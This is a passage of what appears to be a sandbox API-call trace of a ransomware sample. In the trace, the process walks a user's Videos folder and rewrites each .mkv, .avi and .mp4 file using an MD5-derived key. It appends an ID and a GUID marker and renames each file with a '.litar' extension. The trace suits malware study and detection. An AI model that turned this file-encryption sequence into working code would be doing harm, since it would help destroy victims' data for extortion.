lpBuffer=0x1f30000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x398fb78, lpOverlapped=0x0 | out: lpBuffer=0x1f30000*, lpNumberOfBytesRead=0x398fb78*=0x104fd, lpOverlapped=0x0) returned 1 [0125.579] lstrlenA (lpString="CCDBF2A58C5E4DB427C400D3A3A068E9") returned 32 [0125.580] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x25) returned 0x3074a20 [0125.580] lstrlenA (lpString="CCDBF2A58C5E4DB427C400D3A3A068E9") returned 32 [0125.580] lstrlenA (lpString="CCDBF2A58C5E4DB427C400D3A3A068E9") returned 32 [0125.580] CryptAcquireContextW (in: phProv=0x398fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x398fa94*=0x6a0058) returned 1 [0125.580] CryptCreateHash (in: hProv=0x6a0058, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x398fa9c | out: phHash=0x398fa9c) returned 1 [0125.580] CryptHashData (hHash=0x306c8e0, pbData=0x3074a20, dwDataLen=0x25, dwFlags=0x0) returned 1 [0125.580] CryptGetHashParam (in: hHash=0x306c8e0, dwParam=0x2, pbData=0x0, pdwDataLen=0x398fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x398fa98) returned 1 [0125.581] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x11) returned 0x3044390 [0125.581] CryptGetHashParam (in: hHash=0x306c8e0, dwParam=0x2, pbData=0x3044390, pdwDataLen=0x398fa98, dwFlags=0x0 | out: pbData=0x3044390, pdwDataLen=0x398fa98) returned 1 [0125.581] GetLastError () returned 0x0 [0125.581] CryptDestroyHash (hHash=0x306c8e0) returned 1 [0125.581] CryptReleaseContext (hProv=0x6a0058, dwFlags=0x0) returned 1 [0125.581] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3074a20 | out: hHeap=0x5c0000) returned 1 [0125.581] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x10500) returned 0x30fa0b0 [0125.581] SetFilePointer (in: hFile=0x624, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0125.581] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30380b0 | out: hHeap=0x5c0000) returned 1 [0125.581] WriteFile (in: hFile=0x624, lpBuffer=0x30fa0b0*, nNumberOfBytesToWrite=0x104f8, lpNumberOfBytesWritten=0x398fb24, lpOverlapped=0x0 | out: lpBuffer=0x30fa0b0*, lpNumberOfBytesWritten=0x398fb24*=0x104f8, lpOverlapped=0x0) returned 1 [0125.581] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30fa0b0 | out: hHeap=0x5c0000) returned 1 [0125.581] SetFilePointerEx (in: hFile=0x624, liDistanceToMove=0x104fd, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0125.581] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x60) returned 0x30754f0 [0125.582] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x428) returned 0x30fa0b0 [0125.582] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="u2rbnKKMcNOTbU3SJ5PNywya5qp8ZsCNiQec0IOf", cchWideChar=-1, lpMultiByteStr=0x30fa0b0, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="u2rbnKKMcNOTbU3SJ5PNywya5qp8ZsCNiQec0IOf", lpUsedDefaultChar=0x0) returned 41 [0125.582] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x430) returned 0x30fa4e0 [0125.582] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30fa0b0 | out: hHeap=0x5c0000) returned 1 [0125.582] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30754f0 | out: hHeap=0x5c0000) returned 1 [0125.582] WriteFile (in: hFile=0x624, lpBuffer=0x30fa4e0*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x398fb2c, lpOverlapped=0x0 | out: lpBuffer=0x30fa4e0*, lpNumberOfBytesWritten=0x398fb2c*=0x28, lpOverlapped=0x0) returned 1 [0125.582] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30fa4e0 | out: hHeap=0x5c0000) returned 1 [0125.582] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0125.582] WriteFile (in: hFile=0x624, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x398fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x398fb2c*=0x26, lpOverlapped=0x0) returned 1 [0125.582] CloseHandle (hObject=0x624) returned 1 [0125.583] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x60) returned 0x30754f0 [0125.583] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x870) returned 0x30fa0b0 [0125.583] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30754f0 | out: hHeap=0x5c0000) returned 1 [0125.583] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\7xg3.mkv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\7xg3.mkv"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\7xg3.mkv.litar" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\7xg3.mkv.litar")) returned 1 [0125.583] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30fa0b0 | out: hHeap=0x5c0000) returned 1 [0125.583] VirtualFree (lpAddress=0x1f30000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0125.584] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6ad610 | out: hHeap=0x5c0000) returned 1 [0125.584] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x68032360, ftCreationTime.dwHighDateTime=0x1d4d5b5, ftLastAccessTime.dwLowDateTime=0xdfd148f0, ftLastAccessTime.dwHighDateTime=0x1d4cdd5, ftLastWriteTime.dwLowDateTime=0xdfd148f0, ftLastWriteTime.dwHighDateTime=0x1d4cdd5, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="b-b9YkzIMqBbLX", cAlternateFileName="B-B9YK~1")) returned 1 [0125.584] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x70) returned 0x303ecc0 [0125.585] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x70) returned 0x30843f0 [0125.585] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x70) returned 0x3083f40 [0125.585] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30843f0 | out: hHeap=0x5c0000) returned 1 [0125.585] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x303ecc0 | out: hHeap=0x5c0000) returned 1 [0125.585] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d257a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d1bb180, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x1f8, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0125.585] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x50) returned 0x303f130 [0125.585] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x76) returned 0x6ad610 [0125.585] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x303f130 | out: hHeap=0x5c0000) returned 1 [0125.585] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\desktop.ini") returned=".ini" [0125.585] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6ad610 | out: hHeap=0x5c0000) returned 1 [0125.585] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb3a9dfa0, ftCreationTime.dwHighDateTime=0x1d4d33c, ftLastAccessTime.dwLowDateTime=0x880b530, ftLastAccessTime.dwHighDateTime=0x1d4c901, ftLastWriteTime.dwLowDateTime=0x880b530, ftLastWriteTime.dwHighDateTime=0x1d4c901, nFileSizeHigh=0x0, nFileSizeLow=0x13337, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="gJEx.avi", cAlternateFileName="")) returned 1 [0125.585] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x50) returned 0x303f130 [0125.585] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x76) returned 0x6ad610 [0125.585] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x303f130 | out: hHeap=0x5c0000) returned 1 [0125.585] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\gJEx.avi") returned=".avi" [0125.585] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\gJEx.avi" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\gjex.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x624 [0125.585] GetFileSizeEx (in: hFile=0x624, lpFileSize=0x398fb4c | out: lpFileSize=0x398fb4c*=78647) returned 1 [0125.585] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x1f30000 [0125.587] SetFilePointerEx (in: hFile=0x624, liDistanceToMove=0x13311, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0125.587] ReadFile (in: hFile=0x624, lpBuffer=0x1f30000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x398fb7c, lpOverlapped=0x0 | out: lpBuffer=0x1f30000*, lpNumberOfBytesRead=0x398fb7c*=0x26, lpOverlapped=0x0) returned 1 [0125.589] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x30) returned 0x30380b0 [0125.589] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30380b0 | out: hHeap=0x5c0000) returned 1 [0125.589] SetFilePointer (in: hFile=0x624, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0125.589] ReadFile (in: hFile=0x624, lpBuffer=0x1f30000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x398fb78, lpOverlapped=0x0 | out: lpBuffer=0x1f30000*, lpNumberOfBytesRead=0x398fb78*=0x13337, lpOverlapped=0x0) returned 1 [0125.590] lstrlenA (lpString="CCDBF2A58C5E4DB427C400D3A3A068E9") returned 32 [0125.590] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x25) returned 0x3074a20 [0125.590] lstrlenA (lpString="CCDBF2A58C5E4DB427C400D3A3A068E9") returned 32 [0125.590] lstrlenA (lpString="CCDBF2A58C5E4DB427C400D3A3A068E9") returned 32 [0125.590] CryptAcquireContextW (in: phProv=0x398fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x398fa94*=0x6a0058) returned 1 [0125.591] CryptCreateHash (in: hProv=0x6a0058, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x398fa9c | out: phHash=0x398fa9c) returned 1 [0125.591] CryptHashData (hHash=0x306c8e0, pbData=0x3074a20, dwDataLen=0x25, dwFlags=0x0) returned 1 [0125.591] CryptGetHashParam (in: hHash=0x306c8e0, dwParam=0x2, pbData=0x0, pdwDataLen=0x398fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x398fa98) returned 1 [0125.591] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x11) returned 0x3044390 [0125.591] CryptGetHashParam (in: hHash=0x306c8e0, dwParam=0x2, pbData=0x3044390, pdwDataLen=0x398fa98, dwFlags=0x0 | out: pbData=0x3044390, pdwDataLen=0x398fa98) returned 1 [0125.591] GetLastError () returned 0x0 [0125.591] CryptDestroyHash (hHash=0x306c8e0) returned 1 [0125.591] CryptReleaseContext (hProv=0x6a0058, dwFlags=0x0) returned 1 [0125.591] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3074a20 | out: hHeap=0x5c0000) returned 1 [0125.591] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x13340) returned 0x30fa0b0 [0125.591] SetFilePointer (in: hFile=0x624, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0125.591] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30380b0 | out: hHeap=0x5c0000) returned 1 [0125.591] WriteFile (in: hFile=0x624, lpBuffer=0x30fa0b0*, nNumberOfBytesToWrite=0x13332, lpNumberOfBytesWritten=0x398fb24, lpOverlapped=0x0 | out: lpBuffer=0x30fa0b0*, lpNumberOfBytesWritten=0x398fb24*=0x13332, lpOverlapped=0x0) returned 1 [0125.592] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30fa0b0 | out: hHeap=0x5c0000) returned 1 [0125.592] SetFilePointerEx (in: hFile=0x624, liDistanceToMove=0x13337, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0125.592] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x60) returned 0x30754f0 [0125.592] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x428) returned 0x30fa0b0 [0125.592] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="u2rbnKKMcNOTbU3SJ5PNywya5qp8ZsCNiQec0IOf", cchWideChar=-1, lpMultiByteStr=0x30fa0b0, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="u2rbnKKMcNOTbU3SJ5PNywya5qp8ZsCNiQec0IOf", lpUsedDefaultChar=0x0) returned 41 [0125.592] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x430) returned 0x30fa4e0 [0125.592] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30fa0b0 | out: hHeap=0x5c0000) returned 1 [0125.592] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30754f0 | out: hHeap=0x5c0000) returned 1 [0125.592] WriteFile (in: hFile=0x624, lpBuffer=0x30fa4e0*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x398fb2c, lpOverlapped=0x0 | out: lpBuffer=0x30fa4e0*, lpNumberOfBytesWritten=0x398fb2c*=0x28, lpOverlapped=0x0) returned 1 [0125.592] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30fa4e0 | out: hHeap=0x5c0000) returned 1 [0125.592] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0125.592] WriteFile (in: hFile=0x624, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x398fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x398fb2c*=0x26, lpOverlapped=0x0) returned 1 [0125.592] CloseHandle (hObject=0x624) returned 1 [0125.593] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x60) returned 0x30754f0 [0125.593] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x870) returned 0x30fa0b0 [0125.593] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30754f0 | out: hHeap=0x5c0000) returned 1 [0125.593] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\gJEx.avi" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\gjex.avi"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\gJEx.avi.litar" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\gjex.avi.litar")) returned 1 [0125.594] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30fa0b0 | out: hHeap=0x5c0000) returned 1 [0125.594] VirtualFree (lpAddress=0x1f30000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0125.595] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6ad610 | out: hHeap=0x5c0000) returned 1 [0125.595] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4708f230, ftCreationTime.dwHighDateTime=0x1d4d104, ftLastAccessTime.dwLowDateTime=0x1e3800c0, ftLastAccessTime.dwHighDateTime=0x1d4ce71, ftLastWriteTime.dwLowDateTime=0x1e3800c0, ftLastWriteTime.dwHighDateTime=0x1d4ce71, nFileSizeHigh=0x0, nFileSizeLow=0x8e54, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="igFrRTPuZ1KOcff.avi", cAlternateFileName="IGFRRT~1.AVI")) returned 1 [0125.595] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x50) returned 0x303f130 [0125.595] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x80) returned 0x6a0058 [0125.595] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x303f130 | out: hHeap=0x5c0000) returned 1 [0125.595] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\igFrRTPuZ1KOcff.avi") returned=".avi" [0125.595] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\igFrRTPuZ1KOcff.avi" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\igfrrtpuz1kocff.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x624 [0125.595] GetFileSizeEx (in: hFile=0x624, lpFileSize=0x398fb4c | out: lpFileSize=0x398fb4c*=36436) returned 1 [0125.595] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x1f30000 [0125.597] SetFilePointerEx (in: hFile=0x624, liDistanceToMove=0x8e2e, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0125.597] ReadFile (in: hFile=0x624, lpBuffer=0x1f30000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x398fb7c, lpOverlapped=0x0 | out: lpBuffer=0x1f30000*, lpNumberOfBytesRead=0x398fb7c*=0x26, lpOverlapped=0x0) returned 1 [0125.598] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x30) returned 0x30380b0 [0125.599] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30380b0 | out: hHeap=0x5c0000) returned 1 [0125.599] SetFilePointer (in: hFile=0x624, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0125.599] ReadFile (in: hFile=0x624, lpBuffer=0x1f30000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x398fb78, lpOverlapped=0x0 | out: lpBuffer=0x1f30000*, lpNumberOfBytesRead=0x398fb78*=0x8e54, lpOverlapped=0x0) returned 1 [0125.599] lstrlenA (lpString="CCDBF2A58C5E4DB427C400D3A3A068E9") returned 32 [0125.599] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x25) returned 0x3074a20 [0125.599] lstrlenA (lpString="CCDBF2A58C5E4DB427C400D3A3A068E9") returned 32 [0125.599] lstrlenA (lpString="CCDBF2A58C5E4DB427C400D3A3A068E9") returned 32 [0125.599] CryptAcquireContextW (in: phProv=0x398fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x398fa94*=0x6a00e0) returned 1 [0125.600] CryptCreateHash (in: hProv=0x6a00e0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x398fa9c | out: phHash=0x398fa9c) returned 1 [0125.600] CryptHashData (hHash=0x306c8e0, pbData=0x3074a20, dwDataLen=0x25, dwFlags=0x0) returned 1 [0125.600] CryptGetHashParam (in: hHash=0x306c8e0, dwParam=0x2, pbData=0x0, pdwDataLen=0x398fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x398fa98) returned 1 [0125.600] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x11) returned 0x3044390 [0125.600] CryptGetHashParam (in: hHash=0x306c8e0, dwParam=0x2, pbData=0x3044390, pdwDataLen=0x398fa98, dwFlags=0x0 | out: pbData=0x3044390, pdwDataLen=0x398fa98) returned 1 [0125.600] GetLastError () returned 0x0 [0125.600] CryptDestroyHash (hHash=0x306c8e0) returned 1 [0125.600] CryptReleaseContext (hProv=0x6a00e0, dwFlags=0x0) returned 1 [0125.600] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3074a20 | out: hHeap=0x5c0000) returned 1 [0125.601] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x8e50) returned 0x30fa0b0 [0125.601] SetFilePointer (in: hFile=0x624, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0125.601] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30380b0 | out: hHeap=0x5c0000) returned 1 [0125.601] WriteFile (in: hFile=0x624, lpBuffer=0x30fa0b0*, nNumberOfBytesToWrite=0x8e4f, lpNumberOfBytesWritten=0x398fb24, lpOverlapped=0x0 | out: lpBuffer=0x30fa0b0*, lpNumberOfBytesWritten=0x398fb24*=0x8e4f, lpOverlapped=0x0) returned 1 [0125.601] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30fa0b0 | out: hHeap=0x5c0000) returned 1 [0125.601] SetFilePointerEx (in: hFile=0x624, liDistanceToMove=0x8e54, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0125.601] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x60) returned 0x30754f0 [0125.601] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x428) returned 0x30fa0b0 [0125.601] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="u2rbnKKMcNOTbU3SJ5PNywya5qp8ZsCNiQec0IOf", cchWideChar=-1, lpMultiByteStr=0x30fa0b0, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="u2rbnKKMcNOTbU3SJ5PNywya5qp8ZsCNiQec0IOf", lpUsedDefaultChar=0x0) returned 41 [0125.601] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x430) returned 0x30fa4e0 [0125.601] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30fa0b0 | out: hHeap=0x5c0000) returned 1 [0125.601] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30754f0 | out: hHeap=0x5c0000) returned 1 [0125.601] WriteFile (in: hFile=0x624, lpBuffer=0x30fa4e0*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x398fb2c, lpOverlapped=0x0 | out: lpBuffer=0x30fa4e0*, lpNumberOfBytesWritten=0x398fb2c*=0x28, lpOverlapped=0x0) returned 1 [0125.601] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30fa4e0 | out: hHeap=0x5c0000) returned 1 [0125.601] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0125.601] WriteFile (in: hFile=0x624, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x398fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x398fb2c*=0x26, lpOverlapped=0x0) returned 1 [0125.602] CloseHandle (hObject=0x624) returned 1 [0125.602] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x80) returned 0x6a00e0 [0125.602] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x880) returned 0x30fa0b0 [0125.602] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6a00e0 | out: hHeap=0x5c0000) returned 1 [0125.602] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\igFrRTPuZ1KOcff.avi" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\igfrrtpuz1kocff.avi"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\igFrRTPuZ1KOcff.avi.litar" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\igfrrtpuz1kocff.avi.litar")) returned 1 [0125.603] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30fa0b0 | out: hHeap=0x5c0000) returned 1 [0125.603] VirtualFree (lpAddress=0x1f30000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0125.604] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6a0058 | out: hHeap=0x5c0000) returned 1 [0125.604] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x21c25240, ftCreationTime.dwHighDateTime=0x1d4d34e, ftLastAccessTime.dwLowDateTime=0x99938ca0, ftLastAccessTime.dwHighDateTime=0x1d4ce01, ftLastWriteTime.dwLowDateTime=0x99938ca0, ftLastWriteTime.dwHighDateTime=0x1d4ce01, nFileSizeHigh=0x0, nFileSizeLow=0x16cb6, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="M2Hq1q.mp4", cAlternateFileName="")) returned 1 [0125.604] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x50) returned 0x303f130 [0125.604] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x76) returned 0x6ad610 [0125.604] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x303f130 | out: hHeap=0x5c0000) returned 1 [0125.604] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\M2Hq1q.mp4") returned=".mp4" [0125.604] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\M2Hq1q.mp4" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\m2hq1q.mp4"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x624 [0125.604] GetFileSizeEx (in: hFile=0x624, lpFileSize=0x398fb4c | out: lpFileSize=0x398fb4c*=93366) returned 1 [0125.604] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x1f30000 [0125.606] SetFilePointerEx (in: hFile=0x624, liDistanceToMove=0x16c90, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0125.606] ReadFile (in: hFile=0x624, lpBuffer=0x1f30000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x398fb7c, lpOverlapped=0x0 | out: lpBuffer=0x1f30000*, lpNumberOfBytesRead=0x398fb7c*=0x26, lpOverlapped=0x0) returned 1 [0125.607] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x30) returned 0x30380b0 [0125.607] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30380b0 | out: hHeap=0x5c0000) returned 1 [0125.607] SetFilePointer (in: hFile=0x624, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0125.607] ReadFile (in: hFile=0x624, lpBuffer=0x1f30000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x398fb78, lpOverlapped=0x0 | out: lpBuffer=0x1f30000*, lpNumberOfBytesRead=0x398fb78*=0x16cb6, lpOverlapped=0x0) returned 1 [0125.608] lstrlenA 